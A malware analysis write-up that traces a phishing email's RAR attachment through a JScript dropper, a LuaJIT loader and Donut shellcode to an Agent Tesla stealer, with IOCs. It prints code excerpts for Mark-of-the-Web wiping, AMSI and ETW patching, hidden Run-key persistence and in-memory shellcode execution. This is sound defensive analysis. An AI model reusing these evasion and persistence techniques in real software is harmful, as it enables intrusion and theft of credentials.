Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

SWIFT Invoice 98 2026 +99+101-2026 Getzner Textil Company

On November 5 2026, 03:31 UTC, I received an email with the following details:

FromSubjectSender addressSender IP
Export Finance <export1@taberdolshipping.sbs>SWIFT Invoice 98 2026 +99+101-2026 Getzner Textil Companyexport1@taberdolshipping.sbs185.221.222.87

The sender domain appears to be a throwaway domain. It was created on November 4 and the SPF, DMARC, and DKIM authentication checks all passed. It was updated on November 9 and the relevant DNS records are no longer available.

The email contains the following attachment:

NameTypeMagicSHA256
Swift Message Copies.rarRARRAR archive data, v5886742c0572115184351e25e78c4df28085f7ac93ba0d985c2e18388c080acde

Analysis

JScript Dropper

Extracting the attached RAR archive yields the file “Swift Message Copies.JS”. This script is heavily obfuscated so I used box-js to execute the file in a local sandbox and extract IOCs.

The script overwrites its own Zone.Identifier alternate data stream with a blank line, wiping the Mark-of-the-Web so Windows skips the security warnings when it runs again.

cmd /c echo. > "Swift Message Copies.JS:Zone.Identifier"

Next, it creates the following files under the “MyDocuments” special folder using the ADODB.Stream ActiveX object methods:

  • OPEBNFCTDFTAXMSD
  • DSMXATFDTCFNBEPO.exe
  • lua51.dll

Moreover, if a specific variable is set to “YESSSSSSSS”, it creates an additional file named “DSMXATFDTCFNBEPO.mui”. However, the variable is set to “BBBBBSTBBBBB” in this sample so the file is not created.

var DSMXATFDTCFNBEPO5219="BBBBBSTBBBBB";
if(DSMXATFDTCFNBEPO5219.split("").join("")==="YESSSSSSSS")

The same value was identified in similar samples previously analysed by FortiGuard Labs1.

Finally, it runs the executable “DSMXATFDTCFNBEPO.exe” with the path to the “OPEBNFCTDFTAXMSD” file as its argument.

It’s worth noting that the two filenames are mirrored and “DSMXATFDTCFNBEPO” is also used in the script obfuscation where all variable names start with it.

LuaJIT Loader

The files “DSMXATFDTCFNBEPO.exe” and “lua51.dll” are part of the LuaJIT runtime (version 2.1.0-beta2) and the executable imports the DLL. The runtime does not include malicious code but is used to load the Lua script “OPEBNFCTDFTAXMSD”.

The script is written as a single line and strings have been obfuscated using Lua’s decimal escape sequences2. I used StyLua to reformat the code and the following CyberChef recipe for the strings:

Find_/_Replace({'option':'Simple string','string':'\\000'},'\\0',true,false,false,false)
Find_/_Replace({'option':'Simple string','string':'\\092'},'\\\\',true,false,false,false)
Subsection('\\\\[0-9]{3}',false,true,false)
Find_/_Replace({'option':'Simple string','string':'\\'},'',false,false,false,false)
From_Decimal('Space',false)

The script begins by declaring a variable named “DSMXATF” (matching the first 7 characters of the token “DSMXATFDTCFNBEPO”) which contains encoded data.

local DSMXATF = "|6..."

Next, it declares helper functions and constants and imports multiple native functions through the LuaJIT FFI (Foreign Function Interface).

Junk Code

The script contains several copies of a Lua bytecode parser (which appear to be based on the Lua Bytecode Interpreter library but modified and adapted for LuaJIT), none of which is actually used.

Additionally, it defines multiple unused functions and functions that allocate decoy memory. A noteworthy example is qBVi023gJGy212e8 which fills a 1MB buffer with characters from a list of decoy strings.

function qBVi023gJGy212e8()
  local E = 1048576
  local Z = v.new("uint8_t[?]", E)
  local M = {
    "ntdll.dll",
    "kernel32.dll",
    "VirtualProtect",
    "CreateRemoteThread",
    "0xDEADBEEF",
    "0x1337C0DE",
    "[-] Error loading driver",
    "[+] Kernel module mapped at 0xFFFFF800",
    "DRIVER_IRQL_NOT_LESS_OR_EQUAL",
  }
  for E = 0, E - 1, 1 do
    local i = M[E % #M + 1]
    local e = E % #i + 1
    Z[E] = string.byte(i, e)
  end
  table.insert(JY, Z)
end

Defense Impairment

The script attempts to disable AMSI (Antimalware Scan Interface) by loading clr.dll and scanning its memory for the strings “AmsiScanBuffer” and “AmsiInitialize”, overwriting the first occurrence of each with zeroes. Since the .NET CLR (Common Language Runtime) resolves these symbols by name, the lookups fail and AMSI is treated as unavailable.

local function n()
  local E = p("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll")
  local Z = U.LoadLibraryW(E)
  if Z == nil then
    return
  end
  local M = U.GetCurrentProcess()
  local i = { "AmsiScanBuffer", "AmsiInitialize" }
  -- ...
end
pcall(n)

It also attempts to disable user-mode ETW (Event Tracing for Windows) functions, along with several thread and process control functions and NtCreateSection, by overwriting the start of each with RET followed by NOP padding. However, it redefines a previously defined C structure, so FFI throws an error and the functions are never patched.

local function X()
  -- ...
  local d = {
    "EtwEventWrite",
    "EtwEventWriteFull",
    "EtwEventWriteTransfer",
    "EtwEventWriteString",
    "NtTraceEvent",
    "EtwEventEnabled",
    "NtOpenThread",
    "NtSuspendThread",
    "NtTerminateThread",
    "NtTerminateProcess",
    "NtSuspendProcess",
    "NtCreateSection",
  }
  for _, Z in ipairs(d) do
    local M = e.GetProcAddress(g, Z)
    if M ~= nil then
      m(M)
    end
  end
end
pcall(X)

Persistence

Persistence is set up through a hidden value in the registry Run key. The Run entry is only written if the “DSMXATFDTCFNBEPO.mui” marker file exists in the user’s Documents folder, which the JScript dropper never creates in this case. A Visual Basic script named “OPEBNFCTDFTAXMSD.vbs” is created in the same folder and runs the LuaJIT executable with the Lua script. The entry name is set to a null character followed by “DSMXATFDTCFNBEPO” and its data is set to the path of the VBS file. The value is written with the native NtSetValueKey API, which allows null characters in names, while tools such as Regedit which are built on the Win32 registry API treat names as null-terminated strings and can’t access the value.

local function u(E, Z)
  -- ...
  local i = b(M .. "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run")
  -- ...
  Q.RegOpenKeyExW(e, i, 0, 2, N)
  local s, U = b("\0" .. Z)
  local m = v.new("UNICODE_STRING")
  -- ...
  h.NtSetValueKey(N[0], m, 0, 1, g, d)
  Q.RegCloseKey(N[0])
  return true
end
local M = Z .. (E .. ".mui")
local i = Z .. (E .. ".exe")
local e = Z .. k(E)
local N = io.open(M, "r")
if N then
  N:close()
  local M = k(E) .. ".vbs"
  -- ...
  local U, m = pcall(u, c, E)
  if not U then
    print("[addky crashed] " .. tostring(m))
  end
end

Execution

The “DSMXATF” variable is decoded by the functions l099M4FtTVw86, PY, and cN60qz79XCK2.

local HY = l099M4FtTVw86(DSMXATF)
local vY = PY(HY)
local lY = cN60qz79XCK2(vY)

The l099M4FtTVw86 function verifies that the string starts with “|”. It then converts the second character into a zero-based index, adding 1 when looking up the row in CY, since Lua tables are one-based. In this case the second character is “6”, which selects the seventh row. The first two characters of the string are stripped and each character found in the row is replaced by the character at the same position in c, before reversing the resulting string.

local CY = {
  -- ...
  { ")", "_", "-", "[", "]", "{", "}", ";", ":", "?" },
  -- ...
}
function l099M4FtTVw86(E)
  -- ...
  if E:sub(1, 1) ~= "|" then
    return E
  end
  local Z = E:sub(2, 2)
  local M
  if Z >= "0" and Z <= "9" then
    M = Z:byte() - 48
  -- ...
  end
  -- ...
  local i = CY[M + 1]
  -- ...
  local c = { "A", "B", "C", "D", "E", "F", "a", "b", "c", "d" }
  -- ...
  return (table.concat(s)):reverse()
end

The PY function implements a base64 decoder and cN60qz79XCK2 reverses a Caesar cipher applied to the printable ASCII characters of the string. The shift amount is equal to the first byte minus 128. The function drops the first byte and shifts only the printable characters back by that amount, wrapping around at the end of the printable range.

function cN60qz79XCK2(E)
  -- ...
  local M = string.byte(E, 1)
  local i = 0
  if M >= 128 and M <= 221 then
    i = M - 128
    -- ...
  end
  -- ...
  for Z = 2, Z, 1 do
    local M = string.byte(E, Z)
    if M >= 33 and M <= 126 then
      N[c] = string.char(33 + ((M - 33) + e) % 94)
    else
      N[c] = string.char(M)
    end
    c = c + 1
  end
  return table.concat(N)
end

The following Python code implements the same transformations:

from base64 import b64decode

DSMXATF = "|6..."
decoded = b64decode(DSMXATF[2:].translate(str.maketrans(")_-[]{};:?", "ABCDEFabcd"))[::-1])
rotated = bytearray(33 + (c - 33 + 94 - (decoded[0] - 128)) % 94 if 33 <= c <= 126 else c for c in decoded[1:])

The q63xyTmx26 function scans the first 8 KB of a buffer for six x64 instruction sequences commonly found in shellcode stubs, such as XOR decoding, register zeroing and a function prologue. It overwrites the first 16 bytes of each match with alternating 0x90 (NOP) and 0xCC (INT3) bytes. It also searches for several suspicious strings, such as “DonutStub” and common DLL names, and replaces each match with random uppercase letters. None of these are found in this payload, so the patching has no effect.

function q63xyTmx26(E, Z)
  -- ...
  local e = {
    { 72, 49, 192, 72, 49, 219, 72, 49, 201, 72, 49, 210 },
    -- ...
  }
  local N = { "DonutStub", "HTTP", "amsi", "etw", "kernel32", "ntdll", "wininet" }
  for E = 0, i - 12, 1 do
    -- ...
            if Z % 2 == 0 then
              M[E + Z] = 144
            else
              M[E + Z] = 204
            end
    -- ...
  end
  -- ...
end

The script allocates read-write memory in its own process with NtAllocateVirtualMemory, requesting the size of the payload plus 300 MB.

local aY = v.new("SIZE_T[1]", UY + 300000000)
local QY = T.NtAllocateVirtualMemory(rY, hY, 0, aY, l.bor(V, o), ZY)

The fully decoded data is XOR-encrypted with the 8-byte key pY by yWtzukRXWbPxz and copied into the allocated memory with RtlMoveMemory, where s3IWNKT0Q81519Ok decrypts it in place with the same key. The only operation in between that modifies the data is a q63xyTmx26 call on the encrypted bytes, which doesn’t match anything in this payload, so the two XOR operations cancel out and the executed payload is identical to the decoded data.

local pY = { 170, 85, 60, 195, 240, 15, 105, 150 }
mY = yWtzukRXWbPxz(lY, pY)
-- ...
v.C.RtlMoveMemory(cY, mY, UY)
q63xyTmx26(cY, UY)
s3IWNKT0Q81519Ok(cY, UY, pY)
q63xyTmx26(cY, UY)

The memory is then made executable and the buffer is cast to a function pointer and called through pcall, executing the shellcode inside the LuaJIT process.

local bY = v.cast("void(*)()", cY)
pcall(bY)

The eiw9Fw3sAj function calculates the CRC32 checksum of the decrypted payload before execution and z6KJuKJ24l37G recalculates it afterwards and compares the two values. However, its result is only checked by an empty if statement, so the verification has no effect.

RY = eiw9Fw3sAj(cY, UY)
-- ...
if not z6KJuKJ24l37G() then
end

If the shellcode returns, the script re-encrypts the payload, makes the memory inaccessible, and hides the console window. It then enters an infinite loop that patches the memory every 60 seconds so the LuaJIT process never exits, possibly to keep any child processes started by the shellcode running.

local FY = v.C.GetConsoleWindow()
if FY ~= nil then
  v.C.ShowWindow(FY, NY)
end
while true do
  Y.Sleep(60000)
  if cY then
    -- ...
  end
end

Donut Shellcode

The “DonutStub” entry in the scrub list suggests that the loader was written with Donut shellcode in mind. I used donut-decryptor to confirm that the payload is Donut shellcode and extract its embedded module.

Shellcode Structure

The YARA rules used by donut-decryptor match both the x64 and x86 Donut v1 loaders in the decoded shellcode, at offsets 0x3d7e5 and 0x40cbe respectively, indicating dual-architecture Donut shellcode.

Running donut-decryptor on the shellcode reveals that it opens with a call instruction at offset 0x0, which jumps over the embedded Donut instance to the loader code at offset 0x3d7c5. The instance structure, containing the configuration and embedded module, is located at offset 0x5 and its size is 251840 bytes. It is decrypted with the key 7e46f7ced4562e7cd2174a32536ca18c and nonce abe4feaa5a5d182b3ec166f93e9b9155.

I used the Capstone Python library to disassemble the relevant shellcode sections.

import capstone

def disassemble(data, start, end, mode):
    cs = capstone.Cs(capstone.CS_ARCH_X86, mode)
    for i in cs.disasm(data[start:end], start):
        print(f"{i.address:08x}  {i.bytes.hex(' '):<24} {i.mnemonic} {i.op_str}")

disassemble(rotated, 0x0, 0x5, capstone.CS_MODE_64)
00000000  e8 c0 d7 03 00       call 0x3d7c5

The entry stub pops the instance address, which was pushed by the initial call, into RCX and sets EAX to 0 which clears the sign flag. This is followed by the bytes 48 0f 88. In x64 the bytes are read as a JS instruction with a REX.W prefix and the jump doesn’t occur, while x86 reads 48 as DEC EAX, which decrements EAX to -1, setting the sign flag, so JS jumps to the x86 stub at 0x40cbb, which pushes the instance pointer for the x86 loader at 0x40cbe. On x64, the stub aligns the stack and calls the x64 loader at 0x3d7e5 with the instance pointer as its argument.

disassemble(rotated, 0x3d7c5, 0x3d7e5, capstone.CS_MODE_64)
0003d7c5  59                       pop rcx
0003d7c6  31 c0                    xor eax, eax
0003d7c8  48 0f 88 ec 34 00 00     js 0x40cbb
0003d7cf  55                       push rbp
0003d7d0  48 89 e5                 mov rbp, rsp
0003d7d3  48 83 e4 f0              and rsp, 0xfffffffffffffff0
0003d7d7  48 83 ec 20              sub rsp, 0x20
0003d7db  e8 05 00 00 00           call 0x3d7e5
0003d7e0  48 89 ec                 mov rsp, rbp
0003d7e3  5d                       pop rbp
0003d7e4  c3                       ret
disassemble(rotated, 0x3d7c5, 0x3d7cf, capstone.CS_MODE_32)
0003d7c5  59                       pop ecx
0003d7c6  31 c0                    xor eax, eax
0003d7c8  48                       dec eax
0003d7c9  0f 88 ec 34 00 00        js 0x40cbb

Loader Internals

I used the Speakeasy emulator to run the shellcode (with an increased timeout and stubs disabled). It mapped the shellcode at 0x11000, so the shellcode offsets are the logged addresses minus this base. It logged a call to the kernel32.VirtualAlloc function at address 0x4fc37 with the following parameters:

  • lpAddress: 0x0
  • dwSize: 0x3d7c0
  • flAllocationType: MEM_RESERVE|MEM_COMMIT
  • flProtect: PAGE_READWRITE

The size of the allocated memory matches that of the instance (251840 bytes) and the function returned a pointer to 0x5a000. The emulation stopped at 0x4f998, where the shellcode calls mscoree.CLRCreateInstance, which Speakeasy does not implement. Speakeasy logs the register values at that point and shows that RDI is set to 0x5a000, the address returned by VirtualAlloc.

For further analysis of the shellcode, I opened the raw binary with Ghidra and imported the relevant Donut header files (donut.h, loader.h, clr.h) through “Parse C Source” (using Claude to define or strip missing Windows macros and typedefs). After setting the data type of the bytes 0x5 - 0x1294 to the DONUT_INSTANCE struct, defining the remaining module data up to 0x3d7c4 as a byte array, and editing function signatures accordingly, Ghidra correctly identifies struct fields, as well as Windows API and CLR function calls.

As identified earlier, the x64 entry stub calls the function at offset 0x3d7e5 (FUN_0003d7e5). Since the oep (original entrypoint) field of the struct is set to 0, this function simply calls FUN_0003ebc5.

uint64_t FUN_0003d7e5(PDONUT_INSTANCE inst)
  if (inst->oep == 0) {
    FUN_0003ebc5(inst);
  }

The VirtualAlloc call identified by Speakeasy allocates the memory that will hold a copy of the DONUT_INSTANCE. The VirtualAlloc function is first resolved by FUN_00040655, which looks up exported functions by name hash computed with the instance’s IV (14cf7b7256969a36 in bytes).

int FUN_0003ebc5(PDONUT_INSTANCE inst)
  pcVar4 = FUN_00040655(inst, (inst->api).hash[3], inst->iv);
  inst_00 = (*pcVar4)(NULL, (SIZE_T)inst->len, 0x3000, 4);

The exit_opt field of the struct is set to 3 (DONUT_OPT_EXIT_BLOCK) so the function enters an infinite loop, which means that the post-execution code in the Lua loader is never reached.

  if (inst_00->exit_opt == 3) {
    do {
                    /* WARNING: Do nothing block with infinite loop */
    } while( true );
  }

The CLRCreateInstance call where emulation stopped is in the FUN_0003e94d function. It asks the .NET runtime for an ICLRMetaHost interface, the entry point of the CLR hosting API.

int FUN_0003e94d(PDONUT_INSTANCE inst, PDONUT_MODULE mod, PDONUT_ASSEMBLY asm)
  pCVar1 = (inst->api).fn.CLRCreateInstance;
  HVar3 = (*pCVar1)(&inst->xCLSID_CLRMetaHost, &inst->xIID_ICLRMetaHost, &asm->icmh);

Decrypted Instance

At this stage, I ran Speakeasy again in GDB debugging mode and set a breakpoint at address 0x4f998 in order to view the decrypted fields of the instance and its embedded module. GDB needs the command set osabi none to read the emulator’s registers on Linux, and set mem inaccessible-by-default off in order to access the memory at address 0x5a000.

The FUN_0003e94d function stores its first argument, the instance at address 0x5a000, in the RDI register. The module is embedded in it at offset 0x0d60, so its address is $rdi + 0x0d60 in GDB.

The instance fields are decrypted in the copy and can be printed in GDB:

FieldOffsetValue
dll_names0x0240"ole32;oleaut32;wininet;mscoree;shell32"
bypass0x05701 (DONUT_BYPASS_NONE)
type0x09201 (DONUT_INSTANCE_EMBED)

These fields indicate that Donut’s AMSI/WLDP/ETW bypasses are disabled, so only the Lua loader’s AMSI bypass is enabled, and confirm that the module is embedded.

Similarly, the fields of the embedded module are also decrypted:

FieldOffsetValue
type0x0d602 (DONUT_MODULE_NET_EXE)
thread0x0d640
compress0x0d681 (DONUT_COMPRESS_NONE)
runtime0x0d6c"v4.0.30319" (DONUT_RUNTIME_NET4)
domain0x0e6c"XN9X7YXF"
cls0x0f6c""
method0x106c""
args0x116c""
len0x12840x0003c000

The module data starts at offset 0x1288 and can be dumped through GDB:

dump binary memory module.bin $rdi+0x1288 $rdi+0x1288+0x3c000

It’s worth noting that the actual size of the module (245760 bytes) differs from the one previously extracted by donut-decryptor (247096 bytes), which dumps the data until the end of the instance without accounting for the module’s len field. This can be confirmed using the pefile library. The following code prints 0x3c000, where the PE image ends.

from pefile import PE

module = PE("mod_shellcode.bin", fast_load=True)
print("%#x" % module.get_overlay_data_start_offset())

The module fields indicate that it’s a .NET executable which the loader runs on version 4 of the CLR. It’s loaded into a newly created AppDomain with the pseudorandom name “XN9X7YXF” (generated by Donut) and its Main entry point is invoked without command-line arguments.

Assembly Execution

The FUN_0003e94d function creates the new AppDomain with ICorRuntimeHost::CreateDomain, gets a usable interface to it using IUnknown::QueryInterface, and loads the raw assembly from memory through _AppDomain::Load_3.

  HVar6 = (*asm->icrh->lpVtbl->CreateDomain)(asm->icrh, pwzFriendlyName, NULL, pAppDomain);
  HVar6 = (*(*pAppDomain)->lpVtbl->QueryInterface)(*pAppDomain, &inst->xIID_AppDomain, &asm->ad)
  HVar6 = (*asm->ad->lpVtbl->Load_3)(asm->ad, rawAssembly, &asm->as);

The main loader function FUN_0003ebc5 calls FUN_0003ef95 after FUN_0003e94d succeeds, with the same arguments.

  iVar2 = FUN_0003e94d(inst_00, mod, &local_178);
  if (iVar2 != 0) {
    FUN_0003ef95(inst_00, mod, &local_178);
  }
int FUN_0003ef95(PDONUT_INSTANCE inst, PDONUT_MODULE mod, PDONUT_ASSEMBLY asm)

This function runs the loaded assembly. Since the module is an executable, it gets the assembly’s Main entry point using _Assembly::EntryPoint and calls it with _MethodInfo::Invoke_3.

  pRetVal = &asm->mi;
  HVar3 = (*asm->as->lpVtbl->EntryPoint)(asm->as, pRetVal);
  (*asm->mi->lpVtbl->Invoke_3)(asm->mi, &local_2b8, pSVar4, &local_280);

Agent Tesla

The extracted assembly is a .NET executable with the following metadata:

  • File Description: setup
  • File Version: 1.0.0.0
  • Internal Name: f45b853c-c9d3-495e-9acb-d41a4a90029f.exe
  • Legal Copyright: Copyright (c) Python Software Foundation. All rights reserved.
  • Legal Trademarks: Python Software Foundation
  • Product Name: Python 3.11.3 (64-bit)
  • Product Version: 1.0.0.0
  • Assembly Version: 1.0.0.0

This Agent Tesla sample was produced by the same builder as the one I’ve previously analysed, sharing its file metadata and assembly name “f45b853c-c9d3-495e-9acb-d41a4a90029f”. Its configuration is also identical except for the FTP server and credentials, with the new server domain being “ftp.hysterille.com”.

Indicators of Compromise

TypeValueLinksComment
Emailexport1@taberdolshipping.sbsN/ASender address
Domaintaberdolshipping.sbsMXToolBox
VirusTotal
Sender domain
Domainip-api.comVirusTotalIP identification
Domainftp.hysterille.comVirusTotalExfiltration
IP185.221.222.87AbuseIPDBSender IP
Hash886742c0572115184351e25e78c4df28085f7ac93ba0d985c2e18388c080acdeVirusTotalSwift Message Copies.rar
Hashb861500c235cb37ac814d84d04e962bd68e2e5d2f81d620214bd4722190a17d1VirusTotalSwift Message Copies.JS
Hash954944b8a18b36892711cb199e6dde569bb53f8d7d2e1fc028881629e2077648VirusTotalOPEBNFCTDFTAXMSD
Hash70916418ff0b6c2a12e8897ff622bdbb115435d38f0afe3ea981de1e7652ebb4VirusTotalDSMXATFDTCFNBEPO.exe
Hash2f52407927015a8bf4a2a6765ccb599bc438c9a19e1d4a5dda1f5292a0c0e50aVirusTotallua51.dll
Hash8c3dad965c20f87db79ff07546a52e31b3f2ffefa65ed989d1e3a25431a5b205VirusTotalDonut shellcode
Hash210fb148c9352883600ce03037db5bb1a5616d07d6baea29452fb2a3a3e906d7VirusTotalf45b853c-c9d3-495e-9acb-d41a4a90029f.exe

MITRE ATT&CK® Techniques


  1. The TTF Trap: A Global Campaign of a Low-Detection Lua Loader ↩

  2. Lua 5.1 Reference Manual ↩